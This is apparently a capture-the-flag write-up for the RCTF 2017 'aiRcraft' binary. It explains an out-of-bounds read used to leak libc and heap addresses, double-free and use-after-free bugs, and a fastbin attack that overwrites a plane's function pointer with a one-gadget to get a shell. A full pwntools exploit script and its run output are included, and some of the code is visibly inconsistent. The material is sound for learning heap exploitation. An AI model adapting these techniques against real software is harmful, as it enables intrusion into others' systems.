Points: 606 Solves: 14 Category: Exploitation



aiRcraft: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8597b2bb97a5f0ffd55603a10b55629eabebfa6, stripped
gdb-peda$ checksec
FORTIFY   : disabled
NX        : ENABLED


This program allows us to build planes, which we can name, as well as build airports, which we can also name and list information about. We can fly planes to different airports and also sell different planes and airports which frees them. The planes are allocated on the heap and maintained in a doubly-linked list, the head of which, is a global in the .BSS. Similarly, the airports are also allocated on the heap and a maintained in an global array of pointers.

There are many different vulnerabilities in this program.

Firstly, there is a out-of-bounds read vulnerability which allows us to leak a libc and heap pointer.

In the following diassembly, choice_ is an index that we get to specify that has no checks performed on it.

.text:0000555555554C91                 mov     eax, [rbp+choice_]
.text:0000555555554C94                 sub     eax, 1
.text:0000555555554C97                 cdqe
.text:0000555555554C99                 lea     rdx, ds:0[rax*8]
.text:0000555555554CA1                 lea     rax, companies
.text:0000555555554CA8                 mov     rdx, [rdx+rax]
.text:0000555555554CAC                 mov     rax, [rbp+chunk]
.text:0000555555554CB0                 mov     [rax+plane.companyPtr], rdx
.text:0000555555554CB4                 lea     rdi, aInputThePlaneS ; "Input the plane's name: "

companies is a global array that contains 4 pointers, each pointing to a different string. Eventually, we can print out the contents of whatever pointer is associated with the choice_ index into this array that we specify. But as we can see, there is nothing preventing us from specifying an index greater than 4.

We can simply free a couple airports to get a libc pointer and heap pointer into some heap chunks, and then specify 14 and 15 as our indices for 2 planes that we fly to an airport.

Then we just list the information for all the planes in that airport to get our leaks

gdb-peda$ x/32xg 0x555555756020
0x555555756020: 0x00005555555555d8      0x00005555555555df <-- start of companies array
0x555555756030: 0x00005555555555e6      0x00005555555555ef
0x555555756040 <stdout>:        0x00007ffff7dd2620      0x0000000000000000
0x555555756050 <stdin>: 0x00007ffff7dd18e0      0x0000000000000000
0x555555756060 <stderr>:        0x00007ffff7dd2540      0x0000000000000000
0x555555756070: 0x0000000000000000      0x0000000000000000
0x555555756080: 0x0000555555757010      0x0000555555757130 <-- start of airports array
0x555555756090: 0x0000555555757250      0x0000000000000000
0x5555557560a0: 0x0000000000000000      0x0000000000000000
0x5555557560b0: 0x0000000000000000      0x0000000000000000
0x5555557560c0: 0x0000000000000000      0x0000000000000000
0x5555557560d0: 0x0000000000000000      0x0000000000000000
0x5555557560e0: 0x0000000000000000      0x0000000000000000
0x5555557560f0: 0x0000000000000000      0x0000000000000000
0x555555756100: 0x0000000000000000      0x0000000000000000
0x555555756110: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/xg 0x0000555555757130
0x555555757130: 0x00007ffff7dd1bf8  <-- libc addr
gdb-peda$ x/xg 0x0000555555757250
0x555555757250: 0x00005555557572e0  <-- heap addr

Additionally, there is a double-free vulnerability as well as a use-after-free (UAF) vulnerability.

We can use these vulnerabilities to perform a fast-bin attack. However, instead of overwriting a *_hook functions, as I’ve done in the past, we will instead, overwrite a specialFree function pointer that is just a wrapper around free() that is called whenever a plane is directly sold.

The struct for a plane object looks something like the following.

struct plane {
    char name[32];
    char *company;
    airport *aport;
    plane *prevPlane;
    plane *nextPlane;
    void (*specialFree)(plane);    

We can see the function pointer we want to overwrite at offset +0x40 into the plane object.

Our target plane fast chunk looks like the following.

gdb-peda$ x/32xg 0x562c639bd120
0x562c639bd120: 0x0000000000000000      0x0000000000000051
0x562c639bd130: 0x0000562c639b0047      0x00007fcf455bbb00 
0x562c639bd140: 0x0000000000000000      0x0000000000000000
0x562c639bd150: 0x0000562c621be5ef      0x0000000000000000
0x562c639bd160: 0x0000562c639bd010      0x0000000000000000
0x562c639bd170: 0x0000562c621bdb7d      0x0000000000000041 <-- target fnc ptr

We can again use a misaligned address as our target fake chunk for our fastbin attack, since malloc() does not check to see that the requested chunk is aligned.

Only realloc() and free() perform alignment checks!

gdb-peda$ x/32xg 0x562c639bd170-0x30+0xd
0x562c639bd14d: 0x2c621be5ef000000      0x0000000000000056
0x562c639bd15d: 0x2c639bd010000000      0x0000000000000056
0x562c639bd16d: 0x2c621bdb7d000000      0x0000000041000056
0x562c639bd17d: 0xcf455bbb78000000      0x2c639bd24000007f

One catch is that in order for us to be able to use this fake chunk to satisfy a malloc() request, the size field has to be 0x56 and not 0x55.

This is due to an extra check that is performed if the IS_MMAPED bit is turned off.

What we don’t want to do, is end up here:

   0x7ffff7a91613 <__GI___libc_malloc+147>: mov    rax,QWORD PTR [rdx-0x8]
   0x7ffff7a91617 <__GI___libc_malloc+151>: test   al,0x2 <--- checks `IS_MMAPED` bit
   0x7ffff7a91619 <__GI___libc_malloc+153>: jne    0x7ffff7a9163c <__GI___libc_malloc+188> 
   0x7ffff7a9161b <__GI___libc_malloc+155>: test   al,0x4
   0x7ffff7a9161d <__GI___libc_malloc+157>: lea    rcx,[rip+0x3404fc]  # 0x7ffff7dd1b20 <main_arena>
   0x7ffff7a91624 <__GI___libc_malloc+164>: je     0x7ffff7a91633 <__GI___libc_malloc+179>
   0x7ffff7a91626 <__GI___libc_malloc+166>: lea    rax,[rdx-0x10]
   0x7ffff7a9162a <__GI___libc_malloc+170>: and    rax,0xfffffffffc000000
=> 0x7ffff7a91630 <__GI___libc_malloc+176>: mov    rcx,QWORD PTR [rax] <--- crashes!
   0x7ffff7a91633 <__GI___libc_malloc+179>: cmp    rcx,rbx
   0x7ffff7a91636 <__GI___libc_malloc+182>: jne    0x7ffff7a916ff <__GI___libc_malloc+383>
   0x7ffff7a9163c <__GI___libc_malloc+188>: mov    rax,rdx
   0x7ffff7a9163f <__GI___libc_malloc+191>: add    rsp,0x8

If our fake size is 0x55, this causes a crash. A SIGGEV access violation occurs @ the mov rcx,QWORD PTR [rax] instruction on line 0x7ffff7a91630 because 0x55 AND 0x2 = 0x0 whereas 0x56 AND 0x2 = 0x2.

The former causes the conditional jmp @ 0x7ffff7a91619 to not be taken, eventually leading us to 0x7ffff7a91630.

So, long story short, our exploit only works when the heap base address starts with 0x56 and not 0x55.

After overwriting the specialFree function pointer, with a magic one-gadget RCE address, we simply sell the plane with the corrupted function pointer to get a shell.

Putting everything together, we can get the flag using the following exploit.


#!/usr/bin/env python

from pwn import *
import sys

def addAirport(length, name):
    r.sendlineafter("choice: ","2")
    r.sendlineafter("name?", str(length))
    r.sendlineafter("name:", name)

def addPlane(company, name):
    r.sendlineafter("choice: ","1")
    r.sendlineafter("choice: ", str(company))
    r.sendlineafter("name: ", name)

def sellAirport(idx):
    r.sendlineafter("choice: ","3")
    r.sendlineafter("choice: ","2")

def flyPlane(plane, airport):
    r.sendlineafter("choice: ","4")
    r.sendlineafter("choice: ","1")
    r.sendlineafter("fly? ",str(airport))
    r.sendlineafter("choice: ", "3") # exit

def listPlanes(airport):
    r.sendlineafter("choice: ","3")
    r.sendlineafter("choose? ",str(airport))
    r.sendlineafter("choice: ", "1") # list
    leak = r.recvuntil("Exit")
    r.sendlineafter("choice: ", "3") # exit
    return leak

def sellPlane(plane):
    r.sendlineafter("choice: ","4")
    r.sendlineafter("choose?", plane)
    r.sendlineafter("choice: ","2") # sell

def exploit(r):
    libc = ELF("./libc.so.6")
    ## LEAK LIBC ##
    libc_base = u64(listPlanes(2).split("by ")[1][0:6].ljust(8,'\0'))-0x3c3bf8
    one_gadget = libc_base+0xf0567
    log.success("libc base found at: "+hex(libc_base))
    log.success("one_gadget found at: "+hex(one_gadget))

    ## LEAK HEAP ##
    heap_base = u64(listPlanes(2).split("by ")[2][0:6].ljust(8,'\0'))-0x2e0
    heap_target = heap_base+0x170 # fnc ptr for plane G
    if heap_target < 0x560000000000 or heap_base < 0x560000000000:
        log.failure("heap addr needs to start with 0x56! try again.")
    log.success("heap base found at: "+hex(heap_base)) 
    log.success("target func ptr found at: "+hex(heap_target)) 
    log.info("starting fastbin attack...")
    addPlane(4, p64(heap_target-0x30+0xd))
    addPlane(4, "F")
    addPlane(4, "G")
    # pause()
    payload = "A"*3
    payload += p64(heap_base+0x10) # keep original prev plane ptr to avoid crash
    payload += p64(0x0)
    payload += p64(one_gadget) # overwrite free fnc ptr
    addAirport(0x48, payload)
    log.info("triggering corrupted func ptr...")


if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        r = process(['/home/vagrant/CTFs/rctf17/aircraft/aiRcraft'], env={"LD_PRELOAD":"./libc.so.6"})
        #r = process(['/home/vagrant/CTFs/rctf17/aircraft/aiRcraft'], env={"LD_PRELOAD":""})
        print util.proc.pidof(r)
➜  aircraft python solve.py aircraft.2017.teamrois.cn 9731
[*] For remote: solve.py HOST PORT
[+] Opening connection to aircraft.2017.teamrois.cn on port 9731: Done
[*] '/home/vagrant/CTFs/rctf17/aircraft/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc base found at: 0x7f25c6703000
[+] one_gadget found at: 0x7f25c67f3567
[+] heap base found at: 0x56143527c000
[+] target func ptr found at: 0x56143527c170
[*] starting fastbin attack...
[*] triggering corrupted func ptr...
[*] Switching to interactive mode
$ ls
$ cat flag